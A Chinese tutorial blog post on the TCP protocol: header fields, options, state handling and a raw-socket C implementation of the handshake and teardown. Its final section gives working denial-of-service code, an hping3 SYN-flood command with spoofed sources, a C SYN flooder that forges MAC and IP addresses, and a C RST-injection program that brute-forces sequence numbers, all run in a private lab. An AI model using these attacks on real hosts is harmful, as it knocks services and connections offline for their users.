7.TCP协议分析与实践

TCP 协议分析与实践

1. 概述

1.1 简介

  • Transmission Control Protocol 是一种面向连接的、可靠的、有序的、基于字节流的传输层通信协议

1.2 TCP 报文格式

在这里插入图片描述

  • 源端口 : 识别发送连接端口
  • 目的端口 : 识别接收连接端口
  • 序列号 : 报文中数据第一个字节的序号, 到达 2^32-1 后再循环回到 0; TCP 字节流中每个字节都有一个序列号, 以确保有序性(排序和去重)
    • SYN=1 表示初始序号(ISN, initial sequence number),数据第一个字节的序号为 ISN + 1
    • SYN=0 报文中数据第一个字节的序号
  • 确认号 : 通知发送端数据已接收到哪了(可靠性),并结合定时器检测和纠正丢包或延时
  • 数据偏移 : 数据开始地址偏移,以 4 字节为单位,最大值为 15 (15 * 4 = 60)
  • 控制位 :
    • CWR 拥塞窗口减小(发送方降低发送速率)
    • ECE ECN 回显(发送方接收到了一个更早的拥塞通告)
    • URG 紧急数据(高优先级),紧急指针有效
    • ACK 确认号有效
    • PSH 指示接收方应尽快将该报文段交给应用层,而不用等待缓冲区装满
    • RST 需要重新建立连接,也可用于拒绝非法报文和拒绝建立连接
    • SYN 请求建立连接(SYN=1, ACK=0)或接受建立连接(SYN=1, ACK=1)
    • FIN 发送方数据传输完毕,请求释放连接
  • 窗口大小 : 发送者接收窗口大小,用于流量控制,即从确认号开始,本报文的发送方可以接收的字节数
  • 校验和 : 用于检测报文段的传输错误,和 UDP 一样, 计算校验和也需要加上一个伪头部
  • 紧急指针 : 窗口为 0 时,也可以发送,紧急指针 + 序列号 = 紧急数据最后一个字节的序号,当 URG=1 时才有意义
  • 选项 : 可选项,长度为 8 的倍数,最多40字节,当数据偏移大于 5 时存在; 选项第一个字节为选项类型

1.3 IPv4 伪头部

在这里插入图片描述

1.4 TCP 头部常用选项

类型长度说明
0-选项表结束
1-空操作
24建立连接时, 使用该选项协商最大报文段长度(MSS, Maximum Segment Size),
避免本机发生 IP 分片
33窗口扩大因子选项, 为了提高 TCP 通信吞吐量, 值范围 0-14, 窗口最终大小为 win << wscale
42选择性确认选项(Selective Acknowledgment, SACK), 是否仅重传丢失的TCP报文,
默认会重传丢包后的所有报文段
5N*8+2SACK 实际工作的选项, 告诉发送方本端已经收到并缓存的不连续的数据块,从而让
发送端可以据此检查并重发丢失的数据块
810时间戳选项, 提供了较准确的计算通信双方之间的回路时间(Round Trip Time, RTT)
的方法,为 TCP 流量控制提供重要信息
echo 0 | sudo tee /proc/sys/net/ipv4/tcp_window_scaling # 禁用窗口扩大因子选项
echo 0 | sudo tee /proc/sys/net/ipv4/tcp_sack           # 禁用选择性确认选项
echo 0 | sudo tee /proc/sys/net/ipv4/tcp_timestamps     # 禁用时间戳选项

1.5 TCP 状态转换

在这里插入图片描述

2. TCP 编程

2.1 建立连接

  • 三次握手主要是为了避免过时的重复连接再次建立连接时造成混乱;可以利用 TAO 跳过三次握手
    在这里插入图片描述

2.2 数据收发

  • TCP 支持各种拥塞控制算法,以提高收发效率,节约网络流量
数据量速度处理方式
每收到一个数据包,响应一个 ACK 保证可靠性
发送方会延时一段时间发送,等待更多的数据包一起发送;
接收到会延时一段时间响应 ACK, 如果还有数据包到来,只响应一个 ACK
发送方可以连续发送数据,直到滑动窗口为 0,实现快速发送

2.3 关闭连接

在这里插入图片描述

2.4 编程实现

2.4.1 tcp.h
#ifndef __tcp_h_
#define __tcp_h_

#include <stdint.h>

#define TCP_MSS_DEFAULT     536U   /* IPv4 (RFC1122, RFC2581) */
#define TCP_MSS_DESIRED     1220U   /* IPv6 (tunneled), EDNS0 (RFC3226) */

#define TCP_OPT_KIND_END    0      
#define TCP_OPT_KIND_NOP    1      
#define TCP_OPT_KIND_MSS    2      
#define TCP_OPT_KIND_WSCALE 3      
#define TCP_OPT_KIND_SACK   4      

struct tcphdr {
	uint16_t src;
    uint16_t dest;
    uint32_t seq;
	uint32_t ack_seq;
    uint16_t reserve:4,
        doff:4,
        fin:1,
        syn:1,
        rst:1,
        psh:1,
        ack:1,
        urg:1,
        ece:1,
        cwr:1;
    uint16_t window;
    uint16_t cksum;
    uint16_t urg_ptr;
	uint8_t  data[0];
};

struct tcp_mss_opt {
	uint8_t kind;
	uint8_t lenght;
	uint16_t mss;
};

struct tcp_ipv4_pseudo_header {
	unsigned int src_addr;
	unsigned int dest_addr;
	unsigned char zero;
	unsigned char protocol;
	unsigned short lenght;
	unsigned char data[0];
};


struct tcphdr *tcp_alloc_segment(uint16_t sport, uint16_t dport, uint32_t seq, 
		uint32_t ack, uint16_t doff, uint16_t win, uint16_t urg, void *data, size_t size);

void tcp_free_segment(struct tcphdr **tcp);


int tcp_socket(const char *ip, uint16_t port);

ssize_t tcp_send(int sockfd, const void *data, size_t size, int flags);

ssize_t tcp_recv(int sockfd, void *buf, size_t size, int flags);

void tcp_close(int sockfd);


void tcp_print(struct tcphdr *tcp);

unsigned short tcp_ipv4_cksum(const char *saddr, const char *daddr, 
		unsigned char proto, struct tcphdr *tcp, size_t size);

#endif /* __tcp_h_ */
2.4.2 tcp.c
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include "tcp.h"
#include "cksum.h"
#include "common.h"

struct tcphdr *tcp_alloc_segment(uint16_t sport, uint16_t dport, uint32_t seq, 
		uint32_t ack, uint16_t doff, uint16_t win, uint16_t urg, void *data, size_t size)
{
	struct tcphdr *tcp;
	uint16_t control = 0;
	uint16_t tot_len = sizeof(struct tcphdr) + size;

	tcp = (struct tcphdr *) calloc(1, tot_len);
	tcp->src     = htons(sport);
	tcp->dest    = htons(dport);
	tcp->seq     = htonl(seq);
	tcp->ack_seq = htonl(ack);
	tcp->doff    = doff;           // 以 4 字节为单位
	tcp->cwr     = control >> 0;
	tcp->ece     = control >> 1;
	tcp->urg     = control >> 2;
	tcp->ack     = control >> 3;
	tcp->psh     = control >> 4;
	tcp->rst     = control >> 5;
	tcp->syn     = control >> 6;
	tcp->fin     = control >> 7;
	tcp->window  = htons(win);	
	tcp->urg_ptr = htons(urg);	
	if (NULL != data && size > 0)
		memcpy(tcp->data, data, size);
	return tcp;	
}

void tcp_free_segment(struct tcphdr **tcp)
{
	if (NULL != tcp && NULL != *tcp) {
		free(*tcp);
		*tcp = NULL;
	}
}


int tcp_socket(const char *ip, uint16_t port) 
{
	int sockfd;
	struct sockaddr_in addr;

	if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) 
		handle_error("socket");

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = PF_INET;
	addr.sin_port   = htons(port);
	inet_pton(addr.sin_family, ip, &addr.sin_addr);

	if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == -1) 
		handle_error("bind");
	return sockfd;
}


ssize_t tcp_send(int sockfd, const void *data, size_t size, int flags)
{
	ssize_t count;
	if ((count = send(sockfd, data, size, flags)) == -1)
		handle_error("sendto");
	return count;
}

ssize_t tcp_recv(int sockfd, void *buf, size_t size, int flags)
{
	ssize_t count;
	if ((count = recv(sockfd, buf, size, flags)) == -1)
		handle_error("recvfrom");
	return count;
}

void tcp_close(int sockfd)
{
	if (close(sockfd) == -1)
		handle_error("close");
}

void tcp_print(struct tcphdr *tcp) 
{
	printf("\n");
	printf("src    =%u\n", ntohs(tcp->src));
	printf("dest   =%u\n", ntohs(tcp->dest));
	printf("seq    =%u\n", ntohl(tcp->seq));
	printf("ack_seq=%u\n", ntohl(tcp->ack_seq));
	printf("doff   =%u\n", ntohs(tcp->doff));
	printf("cwr    =%u\n", ntohs(tcp->cwr));
	printf("ece    =%u\n", ntohs(tcp->ece));
	printf("urg    =%u\n", ntohs(tcp->urg));
	printf("ack    =%u\n", ntohs(tcp->ack));
	printf("psh    =%u\n", ntohs(tcp->psh));
	printf("rst    =%u\n", ntohs(tcp->rst));
	printf("syn    =%u\n", ntohs(tcp->syn));
	printf("fin    =%u\n", ntohs(tcp->fin));
	printf("win    =%u\n", ntohs(tcp->window));
	printf("cksum  =%04x\n", ntohs(tcp->cksum));
	printf("urg_ptr=%u\n", ntohs(tcp->urg_ptr));
}

unsigned short tcp_ipv4_cksum(const char *saddr, const char *daddr, 
		unsigned char proto, struct tcphdr *tcp, size_t size) 
{
	struct in_addr addr;
	unsigned int hdr_len, checksum;
	struct tcp_ipv4_pseudo_header *header;

	hdr_len = sizeof(struct tcp_ipv4_pseudo_header) + size;
	header  = (struct tcp_ipv4_pseudo_header *) calloc(1, hdr_len);

	if (inet_aton(saddr, &addr) == 0) 
		handle_error_en(EINVAL, "saddr");
	header->src_addr = addr.s_addr;

	if (inet_aton(daddr, &addr) == 0) 
		handle_error_en(EINVAL, "daddr");
	header->dest_addr = addr.s_addr;

	header->protocol = proto;
	header->lenght   = htons(size);

	memcpy(header->data, tcp, size);	
	checksum = cksum((unsigned short *)header, hdr_len);

	free(header);
	return checksum;
}
2.4.3 main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <arpa/inet.h>

#include "tcp.h"
#include "ipv4.h"

#define SRC_IP    "192.168.2.100"
#define DEST_IP   "192.168.2.200"
#define SRC_PORT  8000
#define DEST_PORT 9000

#define WIN_SIZE  64240

struct tcp_info {
	int sockfd;
	uint32_t seq;
	uint32_t ack_seq;
};

static struct tcp_info info;

static void three_way_handshake(struct tcp_info *info)
{
	int sockfd;
	uint16_t opt_len;
	uint16_t tot_len;

	char buffer[1500];
	struct tcphdr *tcp;
	struct ipv4_hdr *ipv4;
	struct tcp_mss_opt mss = {TCP_OPT_KIND_MSS, sizeof(struct tcp_mss_opt), htons(1460)};

	sockfd  = tcp_socket(DEST_IP, DEST_PORT);
	opt_len = sizeof(mss);
	tot_len = sizeof(struct tcphdr) + opt_len;

	// 第一次握手
	tcp = tcp_alloc_segment(SRC_PORT, DEST_PORT, 0xff1850d1, 0x0, tot_len / 4, WIN_SIZE, 0x0, &mss, opt_len);
	tcp->syn   = 1;
	tcp->cksum = tcp_ipv4_cksum(SRC_IP, DEST_IP, IP_PROTO_TCP, tcp, tot_len);
	tcp_send(sockfd, tcp, tot_len, 0);
	tcp_free_segment(&tcp);

	// 第二次握手
	memset(buffer, 0, sizeof(buffer));	
	tcp_recv(sockfd, buffer, sizeof(buffer), 0);
	
	ipv4 = (struct ipv4_hdr *) buffer;	
	tcp = (struct tcphdr *) (buffer + ipv4->ihl * 4);	
	tcp_print(tcp);

	// 第三次握手
	tcp = tcp_alloc_segment(SRC_PORT, DEST_PORT, ntohl(tcp->ack_seq), ntohl(tcp->seq) + 1, sizeof(*tcp) / 4, WIN_SIZE, 0x0, NULL, 0);
	tcp->ack = 1;
	tcp->cksum = tcp_ipv4_cksum(SRC_IP, DEST_IP, IP_PROTO_TCP, tcp, sizeof(*tcp));
	tcp_send(sockfd, tcp, sizeof(*tcp), 0);		

	info->sockfd  = sockfd;
	info->seq     = ntohl(tcp->seq);
	info->ack_seq = ntohl(tcp->ack_seq); 
	tcp_free_segment(&tcp);
}

static void send_and_recv(struct tcp_info *info)
{
	uint16_t tot_len;
	char buffer[1500];
	struct tcphdr *tcp;
	struct ipv4_hdr *ipv4;

	char *data = "Hello";
	tot_len = sizeof(struct tcphdr) + strlen(data);

	// 发送数据
	tcp = tcp_alloc_segment(SRC_PORT, DEST_PORT, info->seq, info->ack_seq, sizeof(*tcp) / 4, WIN_SIZE, 0x0, data, strlen(data));
	tcp->ack = 1;
	tcp->psh = 1;
	tcp->cksum = tcp_ipv4_cksum(SRC_IP, DEST_IP, IP_PROTO_TCP, tcp, tot_len);
	tcp_send(info->sockfd, tcp, tot_len, 0);
	tcp_free_segment(&tcp);

	// 接收 ACK
	memset(buffer, 0, sizeof(buffer));	
	tcp_recv(info->sockfd, buffer, sizeof(buffer), 0);
	
	// 解析 ACK
	ipv4 = (struct ipv4_hdr *) buffer;	
	tcp = (struct tcphdr *) (buffer + ipv4->ihl * 4);	
	tcp_print(tcp);

	info->seq     = ntohl(tcp->ack_seq);
	info->ack_seq = ntohl(tcp->seq); 
}

static void four_way_handshake(struct tcp_info *info) 
{
	uint16_t tot_len;
	char buffer[1500];
	struct tcphdr *tcp;
	struct ipv4_hdr *ipv4;
	tot_len = sizeof(struct tcphdr);

	// 第一次挥手
	tcp = tcp_alloc_segment(SRC_PORT, DEST_PORT, info->seq, info->ack_seq, sizeof(*tcp) / 4, WIN_SIZE, 0x0, NULL, 0);
	tcp->ack = 1;
	tcp->fin = 1;
	tcp->cksum = tcp_ipv4_cksum(SRC_IP, DEST_IP, IP_PROTO_TCP, tcp, tot_len);
	tcp_send(info->sockfd, tcp, tot_len, 0);
	tcp_free_segment(&tcp);

	// 第二次挥手, 对方可能会将 ACK 和 FIN 一起发过来
	memset(buffer, 0, sizeof(buffer));	
	tcp_recv(info->sockfd, buffer, sizeof(buffer), 0);

	ipv4 = (struct ipv4_hdr *) buffer;	
	tcp = (struct tcphdr *) (buffer + ipv4->ihl * 4);	
	tcp_print(tcp);

	// 第三次挥手
	if (tcp->fin == 0) {
		memset(buffer, 0, sizeof(buffer));	
		tcp_recv(info->sockfd, buffer, sizeof(buffer), 0);

		ipv4 = (struct ipv4_hdr *) buffer;	
		tcp = (struct tcphdr *) (buffer + ipv4->ihl * 4);	
		tcp_print(tcp);
	}

	// 第四次挥手
	tcp = tcp_alloc_segment(SRC_PORT, DEST_PORT, ntohl(tcp->ack_seq), ntohl(tcp->seq) + 1, sizeof(*tcp) / 4, WIN_SIZE, 0x0, NULL, 0);
	tcp->ack = 1;
	tcp->cksum = tcp_ipv4_cksum(SRC_IP, DEST_IP, IP_PROTO_TCP, tcp, tot_len);
	tcp_send(info->sockfd, tcp, tot_len, 0);
	tcp_free_segment(&tcp);

	tcp_close(info->sockfd);
}

int main(int argc, char *argv[])
{
	three_way_handshake(&info);
 	send_and_recv(&info);
	four_way_handshake(&info);
	return 0;
}
2.4.5 测试
  • 原始套接字没有端口的概念,收到对方的 ACK 后,由于端口不可达,内核会自动回复一个 RST 给对方
# 避免内核自动回复 RST
192.168.2.100> sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
# sudo iptables -L --line-numbers      # 查看规则
# sudo iptables -D OUTPUT 1            # 删除规则

192.168.2.200> nc -l 9000
192.168.2.100> sudo tcpdump -nt -S 'tcp and port 9000'
192.168.2.100> make run

3. TCP 攻击

3.1 SYN 泛洪

  • 利用三次握手的漏洞,发送大量的 SYN,造成服务器存在大量待连接状态的连接,无法再为正常访问建立新的连接
3.1.1 使用 hping3 进行 SYN 泛洪
# 启动 nginx 服务器
192.168.2.200> sudo nginx

# 使用 hping3 攻击
192.168.2.100> sudo hping3 -S -p 80 --flood --rand-source 192.168.2.200
192.168.2.100> time curl http://192.168.2.200 > /dev/null  # 正常访问出现严重延时

# 被攻击主机上存在大量 SYN_RECV 状态的 TCP 连接
192.168.2.200> sudo netstat -ntp | grep 80
tcp  0  0 192.168.2.200:80  146.253.94.252:39250   SYN_RECV    -                   
tcp  0  0 192.168.2.200:80  29.115.188.70:39238    SYN_RECV    -                   
tcp  0  0 192.168.2.200:80  199.118.125.198:39233  SYN_RECV    -                   
tcp  0  0 192.168.2.200:80  18.104.198.184:39254   SYN_RECV    -  
...........
3.1.2 自己实现 SYN 泛洪
  • 自己构建以太网报文,可以伪造 MAC 地址,但是需要对方知道的 MAC
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <arpa/inet.h>

#include "eth.h"
#include "tcp.h"
#include "ipv4.h"

#define WIN_SIZE   64240
#define IFACE_NAME "eth0"

static void tcp_syn_flood(const char *src_mac, const char *dest_mac, 
             const char *src_ip, const uint16_t src_port, 
             const char *dest_ip, const uint16_t dest_port) 
{
	int sockfd;
	uint16_t opt_len;
	uint16_t tcp_len;
	uint16_t tot_len;

	struct tcphdr *tcp;
	struct ipv4_hdr *ipv4;
	struct eth_frame *frame;
	struct tcp_mss_opt mss = {TCP_OPT_KIND_MSS, sizeof(struct tcp_mss_opt), htons(1460)};

	sockfd = eth_socket(IFACE_NAME);
	opt_len = sizeof(mss);
	tcp_len = sizeof(struct tcphdr) + opt_len;
	tot_len = sizeof(struct ipv4_hdr) + tcp_len;

	tcp = tcp_alloc_segment(src_port, dest_port, 0xff1850d1, 0x0, tcp_len / 4, WIN_SIZE, 0x0, &mss, opt_len);
	tcp->syn   = 1;
	tcp->urg   = 1;     // 提高优先级
	tcp->cksum = tcp_ipv4_cksum(src_ip, dest_ip, IP_PROTO_TCP, tcp, tcp_len);

	ipv4  = ipv4_alloc_packet(tot_len, 0x0001, IP_PROTO_TCP, src_ip, dest_ip, tcp, tcp_len);
	frame = eth_alloc_frame(dest_mac, src_mac, ETH_PROTO_IP, ipv4, tot_len);
	eth_send(sockfd, frame, sizeof(*frame) + tot_len, 0);

	tcp_free_segment(&tcp);
	ipv4_free_packet(&ipv4);
	eth_free_packet(&frame);
	eth_close(sockfd);
}

int main(int argc, char *argv[])
{
	int i;
	for (i = 0; i < 65535; i++) {
		tcp_syn_flood(
				"00:aa:aa:aa:aa:aa",   // 伪造 MAC 地址
				"00:0d:0d:0d:0d:0d",   
				"220.181.38.148", i,   // 伪造 IP 地址
				"192.168.2.200", 80
		);
	}
	return 0;
}
# 启动 nginx 服务器
192.168.2.200> sudo nginx

# 开始攻击
192.168.2.100> make && while true; do date; sudo ./app; done
192.168.2.100> time curl http://192.168.2.200 > /dev/null  # 正常访问出现严重延时

# 被攻击主机上存在大量 SYN_RECV 状态的 TCP 连接
192.168.2.200> sudo netstat -ntp | grep 80
tcp  0  0 192.168.2.200:80  2.2.2.2:37   SYN_RECV    -                   
tcp  0  0 192.168.2.200:80  2.2.2.2:56   SYN_RECV    -                   
tcp  0  0 192.168.2.200:80  2.2.2.2:102  SYN_RECV    -                   
tcp  0  0 192.168.2.200:80  2.2.2.2:48   SYN_RECV    -  
.......

3.2 RST 拒绝服务

  • 伪装成客户端发送 RST 报文,造成服务器与客户端正常通讯中断,需要知道客户端的序号和端口
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <arpa/inet.h>

#include "tcp.h"
#include "ipv4.h"

#define SRC_IP     "192.168.2.100"
#define DEST_IP    "192.168.2.200"
#define SRC_PORT   8000 
#define DEST_PORT  9000
#define WIN_SIZE   64240

static void tcp_reset_attacks(const char *src_ip, const uint16_t src_port, 
		const char *dest_ip, const uint16_t dest_port, uint32_t seq)
{
	int sockfd;
	uint16_t tcp_len;
	uint16_t tot_len;

	struct tcphdr *tcp;
	struct ipv4_hdr *ipv4;

	sockfd  = ipv4_socket();
	tcp_len = sizeof(struct tcphdr);
	tot_len = sizeof(struct ipv4_hdr) + tcp_len;

	tcp = tcp_alloc_segment(src_port, dest_port, seq, 0x0, tcp_len / 4, WIN_SIZE, 0x0, NULL, 0);
	tcp->rst   = 1;     // 中断连接
	tcp->urg   = 1;     // 提高优先级
	tcp->cksum = tcp_ipv4_cksum(src_ip, dest_ip, IP_PROTO_TCP, tcp, tcp_len);

	ipv4  = ipv4_alloc_packet(tot_len, 0x0001, IP_PROTO_TCP, src_ip, dest_ip, tcp, tcp_len);
	ipv4_send(sockfd, ipv4, tot_len, dest_ip, 0);

	tcp_free_segment(&tcp);
	ipv4_free_packet(&ipv4);
	tcp_close(sockfd);
}


int main(int argc, char *argv[])
{
	uint32_t seq = 2500000000;
	do {
		tcp_reset_attacks(SRC_IP, SRC_PORT, DEST_IP, DEST_PORT, seq++);
	} while (seq < 0xFFFFFFFF);
	return 0;
}
192.168.2.200> nc -l 9000
192.168.2.100> nc -p 8000 192.168.2.200 9000
192.168.2.100> sudo ./app       # 一段时间后,nc 的连接会断开
参考链接

https://tools.ietf.org/html/rfc793

https://tools.ietf.org/html/rfc1323

https://en.wikipedia.org/wiki/Transmission_Control_Protocol

http://www.medianet.kent.edu/techreports/TR2005-07-22-tcp-EFSM.pdf

https://qiuzhenyuan.github.io/2018/01/13/%E8%A7%A3%E5%89%96TCP%E6%8A%A5%E6%96%87%E6%AE%B5%E9%A6%96%E9%83%A8/

https://www.tenouk.com/Module43b.html

https://zhuanlan.zhihu.com/p/36436664

https://www.freebuf.com/column/132945.html
https://blog.csdn.net/m0_37962600/article/details/79993310

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值